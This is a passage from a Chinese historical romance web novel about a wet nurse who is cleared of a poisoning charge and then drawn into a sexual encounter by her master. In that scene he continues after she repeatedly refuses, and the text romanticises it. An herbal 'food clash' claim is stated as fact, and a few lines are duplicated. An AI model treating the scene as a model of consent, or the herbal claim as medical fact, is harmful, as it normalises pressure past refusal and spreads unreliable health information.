徐曼羽脸都白了,连连磕头求情,声音都变了调, “太太!太太开恩啊!妾身和妾身的表妹真的是冤枉的啊……” 罗苒跪在地上,胳膊被婆子攥得生疼,心里慌得不行,可她知道自己这个时候更不能乱。 她强压着心头的恐惧,抬头飞快地扫了一眼。 崔氏铁青的脸,楚晓晴幸灾乐祸的表情,三房众人冷眼旁观的模样。 罗苒心里一横。 “奴婢招!” 她声音不大,却让所有人都愣了愣。 二太太抬起手,止住了那两个婆子。 罗苒跪在地上,低着头,声音发颤, “是有人指使奴婢做的,但不是徐姨娘……” “是谁?” 二太太紧盯着她。 罗苒咬了咬唇,故意做出犹豫的样子,声音带着颤, “那人身份……奴婢不敢说。” “快说!” 崔氏厉声喝道。 第18章 那就等大爷回来 罗苒缩了缩肩膀,把头埋得更低,像怕极了的样子, “太太……不是奴婢不说,实在是那人的身份你们绝对想象不到……” 崔氏失了耐性,猛地拍了下桌子, “还敢卖关子?来人,给我家法伺候!” 一个婆子应声而去,很快拿来一把戒尺,乌沉沉的,边缘泛着寒光。 罗苒看着那戒尺,身子一抖,眼眶顿时红了。 她攥着衣角的手指节泛白,嘴唇哆嗦着,慌忙磕了个头, “太太,小姐,不是奴婢不说……是此人身份实在特殊,奴婢想等大爷回来,跟大爷单独说……” 她顿了顿,抬起头,眼泪汪汪地望着崔氏,可怜巴巴的, “事关楚家各位主子的安危,奴婢实在不敢……” 崔氏眉头皱起来。 本是简单下毒,怎么又扯到楚家安危了? 她看着跪在地上老实巴交瑟瑟发抖的罗苒,又看了看一旁脸色各异的众人,心里犯了嘀咕。 厅里安静了一瞬,众人面面相觑。 三太太钟氏端着茶盏,慢悠悠抿了一口,忽然开口, “大嫂,宁可信其有不可信其无啊……既然牵扯到大爷那边的事,还是等大爷回来再说吧,免得咱们处置不当,回头不好交代。” 这话说得巧妙,既给了崔氏台阶下,又点明了利害关系。 崔氏脸色变了又变。 这么好的机会能除掉徐曼羽,她心里一百个不甘心。 可她也清楚楚烬的脾气…… 如今楚家是他当家,就是他们二房的老爷见了这个侄子,也要客客气气让三分。 若真是牵扯到什么了不得的人物,她贸然把人发卖了,回头楚烬问起来,她担不起这个责。 她咬了咬牙,冷冷地看了罗苒一眼, “那就等大爷回来。” 罗苒跪在地上,低着头,肩膀还在微微发抖。 后背已经被冷汗浸透了。 好在她赌对了。 崔氏让人去给楚烬捎了信。 等了约莫一炷香的功夫,外面传来急促的脚步声,厚重的门帘被人一把掀开。 楚烬大步迈了进来。 他一身玄色劲装,肩上的风尘还没落干净,显然是刚从军营赶回来的。 高大的身影一进门,整个厅里的气压都低了几分。 众人见他进本,皆起身恭迎。 他目光扫过跪在地上的罗苒和徐曼羽,又扫过脸色各异的二房三房女眷,眉头微微皱了皱。 “怎么回事?” 声音不高,却沉沉的,带着不容置疑的威压。 罗苒抬起头,看到那张棱角分明的脸,眼眶顿时就红了。 方才在崔氏面前,她咬着牙撑着,一滴泪都没掉。 可这会儿看见这个男人,那股委屈忽然就涌了上来,怎么都压不住。 明明他平日对她也不算和颜悦色,阴晴不定的,凶起来的时候那双眼睛好似要吃人。 可她就是知道,他不会眼睁睁看着无辜之人被冤枉牵连。 罗苒知道现在不是哭的时候,低下头,抬手胡乱用袖子蹭了蹭眼泪,把那股酸涩压回去。 楚晓晴却在这时候开了口,声音又尖又委屈, “大哥,这贱奴在我吃的凉菜里下药!我吃了两口,当场在宴会中呕吐不止,所有人看我眼神都厌弃嘲笑,我还在众人面前跑去出恭……我脸都丢光了,我不活了!” 她越说越激动,眼泪又涌了出来,攥着帕子直跺脚。 “都是这贱奴害的我!我要把她拖出去大卸八块,扔了喂狗!” 楚烬一个眼神扫过去。 那目光冷飕飕的,像腊月的风,楚晓晴的哭嚎声顿时卡在嗓子眼里,整个人缩了缩,不敢再吭声。 “这等恶毒之话,怎能出自你这样的贵府小姐之口?” 楚烬声音不大,却沉甸甸的,压得人喘不过气。 楚晓晴脸色白了白,嘴唇哆嗦着,说不出话来。 二太太忙接过话,语气比方才软了几分, “晓晴也是太难过了,阿烬你也知道,这次宴会是怎么回事,那其中有她中意的齐公子……” “她为了这次宴会,提前两个月轻身驻颜,如今却出了这等事,被这个奴才下了药,她会情绪失控一时失言,也情有可原……” 楚烬听完,下意识看向跪在厅堂中央的罗苒。 红红的眼眶,那副又委屈又强撑着的模样,鼻尖也红红的,像只受了委屈的兔子。 他目光沉了沉,声音染着几分冷意, “你是说我大房的人,平日安分守己,突然处心积虑潜入厨房,在晓晴菜中下毒,就是为了让她在众人面前出丑?” 他顿了顿,目光扫过二太太和楚晓晴。 “若是真的有歹意,她是衍儿的奶娘,衍儿不是更好下手?费这么大周折去害一个素不相识的小姐,牵强了些吧?” 二太太被他这几句话堵得脸色变了又变,方才那副凌人刻薄的模样收敛了不少,声音也缓了下来, “我们也想不通她为何这样,可她刚刚已经亲口承认是她下的药。本想直接将这吃里扒外的贱奴发卖了,她却说主谋另有其人,不肯吐露,非说要等阿烬你回来。” 楚烬在主位上坐下,目光落在跪在地上偷偷抹泪的小娘子身上,眉毛微微挑起。 “我来了,” 他开口,声音听不出情绪,“你说吧。” 罗苒红彤彤的眼睛看了他一眼,心里那根紧绷的弦松了松。 她咽了口唾沫,声音不大,却很清楚, “大爷,药不是奴婢下的。” 楚晓晴一听,立马坐不住了,腾地站起来, “你这贱奴!你方才可不是这样说的!你亲口承认是你下药,还说幕后主使身份特殊,贸然说出会对楚家不利,我们才让你等大爷回来的!” 罗苒抬起头,看向楚晓晴,眼眶红红的,声音软又颤,可怜巴巴的, “奴婢本是不敢乱说……只是若不这样说……” 她没把话说完,可在座的人却都后知后觉地品出了味来。 罗苒早就看出,徐曼羽出现那一刻,崔氏就不在乎真相是什么了。 崔氏要的就是这个机会,把脏水泼过来,咬定是徐曼羽心怀怨恨才指使人报复。 第19章 不能草草了事 什么证据,什么真相,都不重要。 重要的是,她可以名正言顺地把徐曼羽这个碍眼的姨娘除掉。 二老爷和楚乘风南下经商去了,要下个月才能回来。 到时等他们回来,人早就被卖出去了,说什么都晚了。 她便只能暂时承认下药,撇清徐曼羽指使的嫌疑,努力拖延时间,等楚烬回来说清楚。 厅里安静了一瞬。 楚时安忍不住掩着嘴笑了,声音里带着几分幸灾乐祸, “二婶婶平日看着雷厉风行做事果断,却没想到竟然灯下黑,被这看起来胆小怯弱的奴婢戏耍了。” 崔氏脸色铁青,猛地拍了一下桌子, “混账东西!谎话连篇,戏耍主子!来人,拖出去家法伺候,发卖了!” 两个婆子应声上前,伸手就要去拖罗苒。 “二婶。” 楚烬突然开口,声音不大, “我大房的人,怎劳烦二房劳心安排?” 话虽客气,可那威严森然的语调却让在场所有人都心沉了几分。 崔氏手一僵,这才意识到自己失态越了界。 她端起茶盏抿了一口,缓了缓脸色, “是二婶太生气了。只是这奴婢诡计多端,狡猾得很,实在不适合留在衍儿身边,若是被教坏了可如何是好?我看她这手段,定是她这个表姐撺掇……” 罗苒眼见着崔氏又要朝徐曼羽发难,慌忙开口,声音虽发颤却异常坚定, “大爷,太太,这一切都是奴婢一人所为,与旁人无关,并无任何人撺掇。” 楚烬闻言,看向罗苒的目光里多了几分不易察觉的意外。 这小娘子跪在地上,腰板倒是挺得直直的,眼眶还红着,鼻尖也红红的,声音里还带着哭过的软糯,可说出的话却硬气得很。 印象里,她一直怯生生的,自己欺负她的时候就只知道掉泪求饶,软得像团棉花,一捏就扁。 却没想到,今日竟有这般挺身而出的担当…… 明明自己也吓得浑身发颤,却还要硬着头皮护着旁人的奶猫,竟让他觉得几分新奇。 他扯了扯嘴角,勾起一抹漫不经心的轻挑笑意,转回头看向脸色铁青的崔氏。 “现在最要紧的,难道不是查清是谁给晓晴下的药吗?二婶要是想找理由教训自己房里的人,改日有的是时间,别在这儿耽误正事。” 这话说得直白,隐隐点破了崔氏的心思。 崔氏脸上顿时有些挂不住,一阵红一阵白,却碍于楚烬的身份,不敢当场发作,只能咬着牙,冷着一张脸默不作声。 楚烬懒得再看她,目光落回罗苒身上, “快说清楚到底是怎么回事,衍儿和那丫头片子还在找你呢……” 那语气随意得很,似乎压根就对她没有半点怀疑。 罗苒心头一暖,又有些慌乱,斟酌着字句,小声道, “大爷,奴婢真的没有下药,那道凉菜,奴婢是按着府里的规矩做的,半点差错也没有。” 楚烬想也没想,淡淡点头认同,“嗯。” 楚晓晴坐不住了,她猛地站起身, “大哥!她说不是就不是了?你怎么能这么维护一个外人!我明明就是吃了她做的菜才变成这样的!” 楚烬眉头一蹙,不耐地瞥了她一眼,语气冷了几分, “你倒是说说,谁会蠢到要下药,却偏偏放在自己最有嫌疑的东西上?更何况那道凉菜经手的人不少,洗菜的、传菜的,哪一个没有嫌疑?凭什么就认定是她?” 他顿了顿,目光扫过崔氏和楚晓晴,语气愈发沉冷, “既然你们一口咬定是她做的,那就按规矩来……谁主张,谁举证。” “拿出她下药的证据来,别在这儿空口白话,随意污蔑人。楚家门风清正,绝不会放过一个坏人,更不会平白污蔑一个好人。” 说罢,他站起身,高大的身影带着久经沙场的压迫感,居高临下地扫了罗苒一眼,语气不容拒绝, “走了,跟上。” 罗苒愣了一下,慌忙起身。 被楚烬这般频频打脸,崔氏心头的火气更甚。 一旁的钟氏是个精明的早已看出了门道。 楚烬这分明是铁了心要护着罗苒,再闹下去,只会让自己难堪。 她连忙起身,脸上堆着得体的笑意,道, “既然没我们什么事,那我们就不掺和了,先行告退。” 说罢,便连忙带着自己的三个女儿匆匆离开了正厅。 却依旧不肯罢休,正要再开口纠缠, 钟氏一走,崔氏更是没了顾忌,语气强硬道, “不行,不能走!今日这事闹成这般模样,牵连晓晴受了罪,自然不能草草了事!” 楚烬拧紧了眉头,脸上已经显出不耐。 罗苒站在一旁,心里却清楚,楚烬虽说如今是楚府的当家,但崔氏终究是他的长辈。 若是为了她一个小小的奴才,与长辈当面撕破脸,终究不妥。 传出去也会落人口实,让旁人说他不敬长辈。 楚烬耐着性子,深吸一口气,当即吩咐下人, “去传府医,把今日宴会上所有的吃食,连同那道凉菜,全都拿去仔细查验,半点不许遗漏,查清楚到底有没有问题!” 府医很快便匆匆赶来,对着所有吃食逐一仔细查验,片刻后躬身回禀, “回大爷,这些吃食中均未发现下药的迹象。” 这话一出,罗苒的嫌疑被彻底排除。 罗苒心里那口气终于松了下来。 崔氏脸色却更难看了。 见没了迂回的余地,她沉默了片刻,索性把话挑明了,语气带着几分急切, “阿烬,晓晴是你妹妹,她今日在众目睽睽之下上吐下泻,这般狼狈,若是不找个旁人的原因来收场,就这么不明不白地了了,外人会传什么闲话?” “你想想,女子这般呕吐难受,最容易让人联想到什么?若是不把话说清楚,公布结果太过草率,传出去只会让别人以为我们楚家是在遮掩什么丑事,你让她以后如何嫁人,如何在京中立足?” 第20章 想让爷怎么赏你? 楚晓晴听得这话,又哭了起来,捂着脸直抽噎, “我不活了!我这般丢人现眼,以后可怎么见人啊!大哥,你要是不替我做主,不还我一个清白,我就死在你面前……” 楚烬脸色沉冷,正僵持不下之际,罗苒低低的声音突然打破了厅内的僵局。 “奴婢斗胆,有句话想说。” 楚烬的目光落在她身上,语气稍稍缓和了几分,沉声道, “你说。” 罗苒攥了攥衣角,深吸一口气缓缓开口, “刚刚奴婢听闻,晓晴小姐这段时日,一直都在服用减脂驻颜的汤药。奴婢之前常年在老家山中采药,对草药略知一二,也懂些粗浅的药理,知道这类减脂驻颜的汤药,为了见效快,多半会加一味决明子,或是荷叶、泽泻……” 她顿了顿,声音稳了几分, “这几味药和凉菜里的白萝卜相克,两样一起吃,一不小心便会上吐下泻。奴婢不敢断定,只是觉得有这个可能。” 话音刚落,厅内瞬间安静下来。 楚烬看着她,眉毛微微挑了一下。 崔氏也愣住了,目光在罗苒和府医之间来回转。 楚烬看向府医,沉声道, “她方才说的,可有道理?” 府医躬身思索片刻,如实回禀, “回将军,这位娘子说得有理,减脂驻颜的汤药,多会添加寒凉草药来抑制食欲、加速代谢,长期服用本就伤脾胃。若是再食用了相克的食物,脾胃受损加重,的确会出现上吐下泻的症状,与下药的反应极为相似,不仔细查验,极易混淆。” 楚晓晴闻言,哭声顿时小了下去,脸上露出几分茫然。 她这段时日确实日日喝汤药,难道真的是自己不小心,而非有人下药? 崔氏的脸色一阵青一阵白,再也没了方才的底气。 楚烬开口,语气冷硬,“事情既已查清,那便到此为止。” 楚晓晴却不依了,又委屈地红了眼眶,带着浓重的哭腔, “那我怎么办?我为了减脂驻颜,日日喝那难咽的汤药,反倒弄得这般狼狈,上吐下泻的,这事若是传出去,京中的贵女们定然会笑话我,我以后可怎么抬得起头啊!” 厅里又安静了下来。 罗苒垂着眼,犹豫了一下又开了口,声音依旧轻柔,条理清晰道, “二小姐也勿要太难过,找个合适的说辞也不难。” 众人的目光瞬间都落在了她身上,楚晓晴止住啜泣,泪眼朦胧地看向她, “你能有什么好法子?” “奴婢斗胆提议,不如对外说,二太太近日总是心悸不安,身子不适,二小姐您孝顺,心疼母亲,便主动以身试药,探寻调理心悸的方子……” “今日宴会上,不慎吃了与汤药相克的生冷吃食,才导致腹痛呕吐,并非是有人下药,也不是自身有隐疾。” 她顿了顿,又补充道, “这般说,既能给今日的事一个合理的解释,堵住外人的闲话,二小姐您还能赚得一个孝顺懂事的贤名,一举两得,也不会污了小姐的名声。” 听了罗苒的提议,崔氏脸色总算缓和了几分。 楚晓晴也总算彻底止了哭。 楚烬的目光落在罗苒身上,眼底满是几分意外与审视。 较之先前的新奇,更多了几分刮目相看。 他一直以为,这小娘子性子软糯沉静,胆子又小,只会逆来顺受,却没想到,她竟这般聪慧通透。 虽说平日里怯生生的,可遇到事情时,却有几分主见与章法。 心思缜密,考虑得周全,半点也不笨。 “我觉得可行,”楚烬说,语气淡淡的, “接下来要怎么做,二婶便自己看着办吧。” 说完,他大步往外走。 走到门口,脚步顿了顿,头也没回,“跟上。” 罗苒愣了一下,连忙跟上去。 这日罗苒当值,晚上哄睡了衍哥儿,抱着小玥往回走。 走到赏景阁下头,突然感觉脑袋被什么小东西砸了一下。 她抬头,就见阁楼上帘幔轻飘,楚烬正倚在栏杆边,手里捏着个花生壳,隔着那层薄薄的轻纱望着她。 屋里的烛光透出来,映得他那双上挑的凤眼朦朦胧胧的,像是染了几分醉意。 “上来。” 两个字,懒洋洋的,却不容拒绝。 罗苒顿了顿,抱着小玥上了楼。 阁楼里飘着淡淡的酒香。 楚烬歪在软榻上,姿态慵懒,衣领松散着,露出大片结实的胸膛。 幽幽的灯光混着月光落在他身上,平日里那股凌厉的气势消减了几分,半明半暗,姿态撩人。 不知是被酒气熏的,还是别的什么,罗苒莫名有些脸红。 她低下头,喊了声,“大爷”。 楚烬看了眼她怀里的小玥。 小玥正是学话的时候,会喊的词不多,见了谁都是“爹爹”。 这会儿瞅见楚烬,小嘴一张,脆生生地喊了声“爹爹”。 楚烬笑了。 他顺手从旁边碟子里拿了个圆圆的果子,递给小玥。 罗苒一看,吓了一跳。 那果子她认得,是昨日圣上赏下来的贡果,金贵得很。 她忙道,“这么金贵的果子,大爷,这可使不得……” 小玥可不管那些,抱着果子闻了闻,眼睛都亮了。 楚烬摆了摆手,旁边伺候的下人会意,上前把小玥抱走了。 小玥眼里只有那个果子,乖乖地被人抱走了,连娘都没顾上看一眼。 阁楼里只剩下他们两个。 楚烬抬了抬下巴。 “坐。” 罗苒在他对面的位置坐下,有些局促。 “陪我喝一杯。” 罗苒没动,小声推脱, “大爷,奴婢还要喂奶……” 楚烬拿着酒杯,慢悠悠道,“新奶妈都招来了,明日你又不当值。” 说着,他把一个酒壶推到她面前。 “你喝这壶果酒,浓度低,喝不醉。” 罗苒不好再推脱,只能顺从地给自己倒了一盏。 楚烬将手中酒杯一饮而尽,口酒杯朝她伸来。 她顺势端起酒壶,给他添酒。 楚烬垂眼看着她倒酒,忽然开口,像是随口一提, “楚晓晴的事,二太太照你的说法对外宣称了,果然外人赞她一片赤诚孝心,这原本丢脸的事,硬生生圆成了佳话。” 他顿了顿,目光落在她低垂的侧脸上。 “这次你算是立了功,想让爷怎么赏你?” 第21章 不如赏奴婢点银钱吧 罗苒小心翼翼地倒完酒,抬眸看了眼楚烬,犹豫着小声道, 他顿了顿,目光落在她低垂的侧脸上。 “这次你算是立了功,想让爷怎么赏你?” 罗苒抿了抿唇,垂着眼,小声说, “既然大爷要赏,不如赏奴婢点银钱吧……” 楚烬笑了,那笑意在嘴角弯了弯,目光却还落在她脸上, “我还以为你会说,是你分内之事,不敢要赏赐。” 罗苒没吭声。 她是性子软,可又不傻。 有赏赐的机会,凭什么不要? 她还要攒银子,还要养活小玥,还要给自己留条后路。 那些虚头巴脑的客套话,说多了又不能当饭吃。 楚烬看着她那副闷声不吭、心里却门儿清的模样,嘴角的弧度大了些。 他端起酒杯一饮而尽,而后从腰间掏出钱袋,随手扔到桌上,发出一声闷响。 “想要多少,自己拿。” 罗苒看着那钱袋,手指微微蜷了蜷。 金丝绣边的钱袋,系口处磨得有些旧了。 她认得这个钱袋…… 在山洞里,她就是从这钱袋里摸出的银锭。 她以为这辈子都不会再见到这个钱袋。 没想到,竟然还有第二次从里面拿银子的时候。 罗苒犹豫了一下,手指有些僵硬地解开系带。 钱袋口敞开,里面满满的金锭银锭,黄白相间,晃得人眼晕。 她没有多看,挑了个最小的银锭,收进袖中。 “你倒是不贪。” 楚烬靠在榻上,醉意朦胧地看着她这番动作。 罗苒将银锭收好,小声道, “奴婢谢大爷赏赐。” 楚烬没接话,似乎在思索什么。 修长的手指在桌面上随意敲了两下,有一搭没一搭的,在安静的阁楼里格外清晰。 罗苒注意到他手边的酒杯又空了,便自觉地端起酒壶给他添酒。 酒液落入杯中,发出细碎的声响。 阁楼里酒香弥漫,混着窗外吹进来的夜风,有些醉人。 楚烬忽然开口, “去年年底你可去过雁荡山?” 罗苒手一抖,酒洒了出来。 没想到自认为已经彻底翻篇的事,竟然会被楚烬再次提起。 她心跳猛地加快,面上却努力撑着,装作若无其事的样子,拿帕子擦了擦。 “雁荡山?”她摇摇头,“不曾去过。” 楚烬的目光落在她脸上,沉沉的,像在琢磨什么。 “一次也不曾吗?你之前在二太太那不是说你经常去山间采药?” 他顿了顿,又道, “据我所知,那里离你老家的村子可不远,就近的村民如若上山采药的话,大多会去那里。” 罗苒心里一惊。 没想到楚烬竟暗自调查了她。 那他还查到了什么? 她稳住心神,抬起头,装出茫然的样子,小声解释道, “去年奴婢怀着身子,山路崎岖,自然是不能去的。” “年底生的小玥,今年年初才出的月子……大爷也知道,我们村妇,也就月子里能得几天好照顾,自然是没出过门的……” 她看了面前男人一眼,又垂下。 这话说得半真半假,把小玥的出生说晚了小一月。 想着楚烬这样的一个大男人,应该算不明白这个。 楚烬没说话,只是看着她,像是在琢磨她话里的真假。 罗苒被他看得心里发虚,低下头,抿了一口酒。 过了一会儿,楚烬又开了口。 “你可知,我年前重伤,就是在那山中。” 罗苒握着杯子的手紧了紧,面上却做出惊讶的样子。 “是,是吗?” “说起来奴婢好像在月子里听人提起过……说大爷当时还寻过人,官府挨家挨户问过的……” “嗯。”楚烬应了一声,目光还落在她脸上,情绪莫辨。 “在那偏远山区救我的,是个喂奶的村妇。” 他顿了顿,声音慢悠悠的, “你又正巧是从那里来的,也带着孩子……” 罗苒心跳如擂鼓,面上却不敢露出来。 “只是我当时重伤昏迷,没看清她的模样。” 罗苒低下头,不由自主的又抿了一口酒。 酒入喉,又香又甜,可如今她却没有半分享用的心思。 正想着怎么岔开话题,忽然感觉面前暗了暗。 楚烬不知何时凑了过来。 他俯身,鼻尖凑到她颈间,轻轻嗅了嗅。 热气喷在敏感的颈窝,带着酒意,烫得她一哆嗦。 “不过,” 他声音低低的,带着酒后的慵懒,“你们的味道,好像有些相似。” 罗苒脑子嗡的一声,忙往旁边躲了躲。 也不知道是不是喝了酒的原因,脸慢慢烫起来,还有点晕。 她顾不得这个急急解释, “喂奶的妇人都是这个味道……新来的奶娘也是这个味道,大爷不信可以去闻闻……” “是吗?” “是的。” 罗苒点头,急切地想撇清, “大体闻着都是奶味,但仔细闻过,还是不一样的。” 楚烬近距离看着她。 那张小脸喝了酒,绯红一片,眼睛瞪得圆圆的,迫切地解释着。 说话时带着酒气,甜甜的,往他脸上扑。 他看着看着,有些心猿意马,想要探究的事被抛到脑后。 “那我再仔细闻闻。” 话音落下,他直接伸手,把她整个人拉到了软塌之上。 罗苒还没反应过来,腰已经被他揽住,整个人跌进强健有力的怀抱之中。 楚烬低下头,将脸埋在她脖颈间,鼻尖蹭过那截细嫩的皮肤,深深嗅了一下。 那喷在她脖颈间的热气似乎更烫了一些,激的罗苒汗毛竖了起来。 “大,大爷……” 罗苒慌忙抬手要推。 “好似真的味道不太一样。” 楚烬闷声说了句。 罗苒推他的手顿住了。 “是,是吧……” 她声音发颤,僵着身子不敢动,心跳快得像要从嗓子眼蹦出来。 楚烬没抬头,鼻尖沿着她颈侧慢慢往上蹭,呼吸越来越重。 “我再仔细辩辩。” 他说,声音低哑,带着酒后的慵懒和隐隐的暧昧。 罗苒只能僵着身子,由着他嗅。 他凑得那样近,鼻尖几乎贴着她的皮肤,每一次呼吸都烫得她想躲。 她咬着唇,手指攥紧了身下的褥子,整个人绷得像根弦。 楚烬似乎察觉到了怀中女人的僵硬,抬起头。 看着她那副又傻又乖僵得像块木头的模样,他喉间逸出一声低笑。 罗苒见他笑了,以为没事了,顿时松了口气,勉强扯了扯嘴角对楚烬笑了笑。 下一刻,肩上一股力道猛地推过来。 她整个人往后倒在软塌之上,还没来得及惊呼,楚烬高大的身躯已经压了下来。 第22章 苒娘也可以求我,对你负责 楚烬居高临下的看着被自己摁在榻上的女人,目光细细描绘她染着粉意的脸颊, “你可知,爷要找那村妇做什么?” 许是太过惊讶楚烬这蓦然举动,又许是酒意上头,罗苒脑子发懵,下意识问道, “做,做什么?” 楚烬眸光幽深地盯着她,缓缓开口, “她曾在山洞救过我的命,自然该重赏。” 顿了顿,他俯身,二人更近了几分 “她脱了我的衣服为我上药包扎……这世道男女大防,便是要我负责,也并无不可……” 罗苒狂跳的心脏像是漏了一拍。 不等她反应,楚烬低下头,唇落下来,带着酒气,温度滚烫。 罗苒脑子一片空白,用尽力气却怎么也推不开。 手抵无助地在他胸膛上,那胸膛之中的心跳一下一下,强劲有力,撞得她手心发烫发痒。 酒香在唇齿间弥漫开来,甜腻得醉人,搅得她神志都有些模糊。 推拒的力气一点点消散。 罗苒不知道自己什么时候闭上眼睛的,也不知何时伸手攥住了他的衣襟。 她只觉得整个人都轻飘飘的,像踩在云上,又像沉在水里,只能紧紧攥着他,像攀着唯一的浮木。 楚烬感觉到她身子软下来,手臂骤然收紧,把她往怀里又带了带。 阁楼里安静得只剩下两人渐渐紊乱的呼吸声。 月光从帘幔缝隙漏进来,落在她泛红的脸颊上,也落在他微微起伏的健硕肩背上。 罗苒被吻得喘不过气,迷迷糊糊地推了推他。 楚烬稍稍退开,垂眸望着她。 那张小脸潮红一片,眼尾泛着桃花似的艳色。 楚烬喉结滚了滚,声音低哑得近乎蛊惑, “就像今夜这般,明日起,苒娘也可以求我,对你负责。” 罗苒觉得自己不该喝那酒。 脑袋热,身体也热,整个人晕晕乎乎的,连他说的什么话都听不真切。 她被他引着走,像踩在棉花上,脚下没有着落。 外衫滑下去,露出一截肩膀。 他的吻追上来,落在锁骨的红痣上。 她抖得厉害,手指攥着他的衣襟,攥得指节发白,不知道自己是想推开还是想抓住。 身上轻了一瞬。 她抬起迷蒙的眼,看见楚烬直起身,双腿跪在她腰侧,正在脱自己的衣裳。 外袍褪下,中衣散开,露出大片小麦色的皮肤。 那结实强健的上半身赤裸裸地暴露在月光下…… 不是那种刻意练出来的好看,是实打实杀出来的体格,每一寸都透着力量。 罗苒脸更红了,像是被烫着似的,慌忙要移开视线。 目光却不自觉地往裤腰下滑了一寸。 就那一寸,她整个人僵住了。 脑子还没反应过来那是什么,等她意识到的时候,她不敢相信地瞪大眼睛。 她成过亲,生过孩子,不是什么都不懂的小姑娘。 罗苒打了个哆嗦,酒一下子醒了大半。 脸上的绯红褪了几分,整个人往后缩,声音都在发抖。 “不行不行,大爷,这真不行……” 她慌得语无伦次,翻身就想爬走。 手臂刚撑起来,腰就被一只大手按住了。 楚烬从背后压下来,火热的胸膛贴着她的后背。 他低头,咬住她软嫩的耳垂,轻轻磨了磨,声音嘶哑隐忍。 “我轻一些……” 他低声哄,“乖,别怕。” “不行……” 罗苒声音发颤,有些语无伦次。 “大爷,求你……真不行……我不想……” 她知道自己几斤几两。 楚烬手臂收紧,下巴抵在她肩窝里。 罗苒僵在他怀里,脑子里乱成一团。 她知道都到了这种地步,男人很少能停得下来。 心里的害怕,泪也落了下来。 楚烬似是察觉到罗苒怕到啜泣,终于动了。 “大爷……” “闭嘴。” 他低头,惩罚似的在她肩头咬了一口,不轻不重,牙尖陷进皮肉里,留下一圈浅浅的印子。 “呀……” 罗苒疼得缩了缩脖子。 “再喊就真做了。” 他声音带着忍耐的尾音。 瞥一眼就吓得哆嗦,哭得跟要她命似的。 听楚烬这么说,罗苒愣了愣,听出话里的意思,顿时没那么怕了。 可下一刻,罗苒整个人都僵了,连呼吸都不敢大声。 楚烬的嘴唇贴着她的耳朵,声音低哑得近乎诱哄。 “苒娘,”他喊她,热气喷在她耳廓上, “腿再加紧一些。” 罗苒脑子晕乎乎的,被他那声“苒娘”叫得心都颤了。 “对,就这样……” “好乖。” 罗苒耳根烧得厉害,她竟不知道还能这样…… 窗外月光静静照着,阁楼里只剩下粗重的呼吸和布料摩擦的细碎声响。 罗苒衣衫不整,步履匆匆,双腿软得像是踩在棉花上,慌张无措地跑下阁楼。 刚转过回廊,就见新奶娘姚宛儿抱着小玥从远处走来。 “娘,娘……” 小玥一看见她,小手就伸了过来。 罗苒慌忙上前,把小玥抱进怀里,搂得紧紧的,像是找到了什么依靠似的。 姚宛儿说, “他们把小玥送回来,也没说你去哪儿了。小玥睡了一觉醒来就一直找你,也不好好睡,我便带她来寻你了……” 她顿了顿,目光落在罗苒身上,语气里带着几分关切, “阿苒姐姐,你这是去哪儿了?” 罗苒这才意识到自己模样有多狼狈。 衣衫凌乱,眼眶还红着,嘴唇也有些肿。 她慌忙垂下眼,把脸往小玥身后藏了藏。 姚宛儿的目光在她脸上停了一瞬,又下意识地看了一眼不远处的阁楼。 帘幔微动,里头隐约还有烛光。 “你身上有酒味,”姚宛儿小声问,“是不是出什么事了?” 罗苒的脸腾地烧了起来。 她想起方才在阁楼里,楚烬把她按在榻上,呼吸粗重地埋在她颈窝里…… 那些画面在脑子里一闪,她整个人都僵了。 “无事,” 她慌忙摇头,声音有些发紧, “就是刚刚大爷找我有事询问,赏了我两口酒喝,多谢你替我照顾小玥。” 这些时日的相处,两人早已相熟。 姚宛儿见她不愿多说,便也不追问,只笑道, “我刚来府里没少受阿苒姐姐照顾,只是照看一下小玥而已,姐姐不用那么见外。” “夜深了,我们回去吧。” 罗苒说着,抱着小玥率先往住处走,大腿根部火辣辣地,可却半点不耽误她急匆匆的脚步。 姚宛儿应了一声,却不急不慢地跟在后面。 走出几步,她不动声色地回头,望了一眼那帘幔微动的阁楼,目光沉了沉,才收回视线,快步跟了上去。 第23章 过几日便纳你做良妾 第二日,罗苒刚给小玥洗漱完,楚烬院里的大丫鬟香荷就过来了。 “罗奶娘,”香荷站在门口, “大爷让人传话,说让您今日去主屋那边一趟。” 罗苒心慌了一整夜。 昨夜趁着楚烬睡着自己跑了出来,如今一早他就派人来传。 想到昨晚,那磨得红肿的大腿根好似又隐隐火辣起来,脑子里乱成一团,她根本不知该怎么面对。 只能先安顿好小玥,硬着头皮跟着香荷去。 香荷走在前头,回头看她脸色不好,便小声宽慰道, “你不用紧张,昨夜大爷临幸了另一个奶娘,找你估计是跟你说一声,她不能跟你一起照顾衍哥儿了。” 罗苒脚步一顿,“你说……大爷临幸了姚宛儿?” “是啊,你还不知道呢?” 香荷压低声音, “一早就传遍楚府了,昨夜大爷宿在赏景阁,今早丫鬟上去唤他的时候,发现他身边躺着那姚宛儿。” 香荷撇了撇嘴,嘟囔道, “大爷对那些丫鬟再貌美也不多看一眼,昨日去皇宫参加宴会喝了不少,又在阁楼小酌,许是真喝醉了,一时酒后……” 罗苒怔怔地听着,后面的话一个字都没听进去。 昨夜她在阁楼上的明明是…… 怎么会是姚宛儿? 一路上她脑子里乱糟糟的,跟着香荷进了大房主院。 刚进屋,就看到姚宛儿跪在地上,垂着头啜泣,肩膀一抽一抽的。 楚烬坐在上位,面无表情,看不出什么情绪,可整个屋里的气压低得让人喘不过气。 罗苒看了姚宛儿一眼,上前行礼。 楚烬看着她,开口了,声音沉沉的, “这女人说,昨夜是她同本将军过的夜。” 他顿了顿,目光落在她脸上,“可我分明记得,昨夜我唤你上的阁楼。” 姚宛儿跪在地上,哭着开口, “大爷,奴婢深夜路过阁楼,见有灯光便上前查看,是大爷您拉着奴婢,把奴婢拽到了榻上……” 楚烬没理她,只看着罗苒,“昨夜,是谁?” 他顿了顿,像是在回忆什么,声音低了几分, “我记得,我喊的是苒娘。” 姚宛儿急忙接话道, “大爷喊的是宛娘……奴婢名叫宛儿,大爷喊的是宛娘……” 楚烬的目光始终没从罗苒脸上移开。 那眼神沉冷的似有重量一般,像是在等她说一句话。 罗苒站在那里,只觉得浑身发僵。 她看向姚宛儿,姚宛儿也正望着她,泪盈盈的,眼底满是哀求。 那眼神她太熟悉了…… 走投无路的人,豁出去抓住最后一根稻草的样子。 罗苒垂下眼。 就算自己承认了,又能怎样? 看楚烬那意思,虽然昨晚并没有真的做成,但是他是会负责的。 可这酒后的最终会怎么负责? 左右不过封个通房,或抬个姨娘。 心情好了宠幸几分,心情不好便可随意发卖。 楚烬确实一表人才,相貌、身份、家世,哪样拿出来都是打着灯笼都难找的。 